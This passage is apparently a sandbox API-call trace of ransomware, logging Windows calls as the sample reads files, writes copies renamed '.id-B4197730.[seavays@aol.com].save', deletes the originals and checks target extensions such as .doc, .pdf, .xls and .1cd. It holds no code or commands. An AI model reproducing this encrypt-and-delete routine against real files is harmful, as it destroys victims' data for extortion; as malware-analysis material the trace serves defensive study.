lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2232, lpOverlapped=0x0) returned 1 [0079.560] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2240, lpOverlapped=0x0) returned 1 [0079.562] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.562] SetEndOfFile (hFile=0x314) returned 1 [0079.562] CloseHandle (hObject=0x314) returned 1 [0079.563] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.563] SetEndOfFile (hFile=0x30c) returned 1 [0079.565] CloseHandle (hObject=0x30c) returned 1 [0079.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0079.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.566] lstrlenW (lpString=".doc") returned 4 [0079.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.566] lstrlenW (lpString=".docx") returned 5 [0079.566] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0079.566] lstrlenW (lpString=".pdf") returned 4 [0079.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.566] lstrlenW (lpString=".xls") returned 4 [0079.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.566] lstrlenW (lpString=".xlsx") returned 5 [0079.566] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0079.566] lstrlenW (lpString=".ppt") returned 4 [0079.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.567] lstrlenW (lpString=".zip") returned 4 [0079.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.567] lstrlenW (lpString=".rar") returned 4 [0079.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.567] lstrlenW (lpString=".bz2") returned 4 [0079.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.567] lstrlenW (lpString=".7z") returned 3 [0079.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.567] lstrlenW (lpString=".dbf") returned 4 [0079.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.567] lstrlenW (lpString=".1cd") returned 4 [0079.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0079.567] lstrlenW (lpString=".jpg") returned 4 [0079.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.568] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.568] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0079.569] GetLastError () returned 0x0 [0079.569] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe392, lpOverlapped=0x0) returned 1 [0080.001] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0080.004] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.004] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0080.004] SetEndOfFile (hFile=0x314) Thread: id = 18 os_tid = 0xe44 [0050.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c81248 [0050.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c91250 [0050.063] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce48 [0050.063] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d2b0 [0050.063] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf20 [0050.063] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3f2d020 [0050.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.066] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf38 [0050.066] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fcf38, Size=0x20) returned 0x6deb10 [0050.066] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.066] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.066] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff50 | out: OldValue=0x350ff50*=0x0) returned 1 [0050.066] lstrlenW (lpString="kernel32.dll") returned 12 [0050.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.066] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.066] Sleep (dwMilliseconds=0x64) [0050.446] lstrcmpiW (lpString1=".ini", lpString2=".save") returned -1 [0050.446] lstrlenW (lpString="desktop.ini") returned 11 [0050.446] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.447] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=129) returned 1 [0050.447] CloseHandle (hObject=0x2f4) returned 1 [0050.447] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0050.447] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.447] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.447] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.447] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.447] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.448] GetLastError () returned 0x0 [0050.448] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x81, lpOverlapped=0x0) returned 1 [0050.462] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x90, lpOverlapped=0x0) returned 1 [0050.463] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.463] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1 [0050.463] SetEndOfFile (hFile=0x2f8) returned 1 [0050.463] CloseHandle (hObject=0x2f8) returned 1 [0050.464] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.464] SetEndOfFile (hFile=0x2f4) returned 1 [0050.465] CloseHandle (hObject=0x2f4) returned 1 [0050.465] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0050.465] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString=".doc") returned 4 [0050.466] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.466] lstrlenW (lpString=".docx") returned 5 [0050.466] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.466] lstrlenW (lpString=".pdf") returned 4 [0050.466] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.466] lstrlenW (lpString=".xls") returned 4 [0050.466] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.466] lstrlenW (lpString=".xlsx") returned 5 [0050.466] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.466] lstrlenW (lpString=".ppt") returned 4 [0050.466] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString=".zip") returned 4 [0050.466] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.466] lstrlenW (lpString=".rar") returned 4 [0050.466] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.466] lstrlenW (lpString=".bz2") returned 4 [0050.466] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.466] lstrlenW (lpString=".7z") returned 3 [0050.466] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString=".dbf") returned 4 [0050.466] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString=".1cd") returned 4 [0050.466] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.466] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.466] lstrlenW (lpString=".jpg") returned 4 [0050.466] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString=".doc") returned 4 [0050.467] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.467] lstrlenW (lpString=".docx") returned 5 [0050.467] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.467] lstrlenW (lpString=".pdf") returned 4 [0050.467] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString=".xls") returned 4 [0050.467] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString=".xlsx") returned 5 [0050.467] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.467] lstrlenW (lpString=".ppt") returned 4 [0050.467] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString=".zip") returned 4 [0050.467] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString=".rar") returned 4 [0050.467] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.467] lstrlenW (lpString=".bz2") returned 4 [0050.467] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.467] lstrlenW (lpString=".7z") returned 3 [0050.467] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString=".dbf") returned 4 [0050.467] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString=".1cd") returned 4 [0050.467] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.467] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0050.467] lstrlenW (lpString=".jpg") returned 4 [0050.467] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.468] lstrcmpiW (lpString1=".ini", lpString2=".save") returned -1 [0050.468] lstrlenW (lpString="desktop.ini") returned 11 [0050.468] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.468] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=129) returned 1 [0050.468] CloseHandle (hObject=0x2f4) returned 1 [0050.468] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0050.468] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.468] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.468] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.468] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.468] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.469] GetLastError () returned 0x0 [0050.469] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x81, lpOverlapped=0x0) returned 1 [0050.469] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x90, lpOverlapped=0x0) returned 1 [0050.470] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.470] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1 [0050.470] SetEndOfFile (hFile=0x2f8) returned 1 [0050.470] CloseHandle (hObject=0x2f8) returned 1 [0050.471] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.471] SetEndOfFile (hFile=0x2f4) returned 1 [0050.472] CloseHandle (hObject=0x2f4) returned 1 [0050.472] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0050.472] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0050.472] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.472] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.472] lstrlenW (lpString=".doc") returned 4 [0050.472] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.472] lstrlenW (lpString=".docx") returned 5 [0050.472] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.472] lstrlenW (lpString=".pdf") returned 4 [0050.472] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.472] lstrlenW (lpString=".xls") returned 4 [0050.472] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString=".xlsx") returned 5 [0050.473] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.473] lstrlenW (lpString=".ppt") returned 4 [0050.473] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString=".zip") returned 4 [0050.473] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString=".rar") returned 4 [0050.473] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString=".bz2") returned 4 [0050.473] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.473] lstrlenW (lpString=".7z") returned 3 [0050.473] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString=".dbf") returned 4 [0050.473] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString=".1cd") returned 4 [0050.473] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString=".jpg") returned 4 [0050.473] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.473] lstrlenW (lpString=".doc") returned 4 [0050.473] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.473] lstrlenW (lpString=".docx") returned 5 [0050.473] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.473] lstrlenW (lpString=".pdf") returned 4 [0050.473] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString=".xls") returned 4 [0050.473] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.473] lstrlenW (lpString=".xlsx") returned 5 [0050.474] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.474] lstrlenW (lpString=".ppt") returned 4 [0050.474] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.474] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.474] lstrlenW (lpString=".zip") returned 4 [0050.474] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.474] lstrlenW (lpString=".rar") returned 4 [0050.474] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.474] lstrlenW (lpString=".bz2") returned 4 [0050.474] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.474] lstrlenW (lpString=".7z") returned 3 [0050.474] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.474] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.474] lstrlenW (lpString=".dbf") returned 4 [0050.474] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.474] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.474] lstrlenW (lpString=".1cd") returned 4 [0050.474] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.474] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0050.474] lstrlenW (lpString=".jpg") returned 4 [0050.474] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.474] Sleep (dwMilliseconds=0x64) [0050.757] Sleep (dwMilliseconds=0x64) [0051.946] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0051.946] lstrlenW (lpString="LocalizedData.xml") returned 17 [0051.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.947] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=82346) returned 1 [0051.947] CloseHandle (hObject=0x30c) returned 1 [0051.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0051.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0051.947] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.947] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.948] GetLastError () returned 0x0 [0051.948] ReadFile (in: 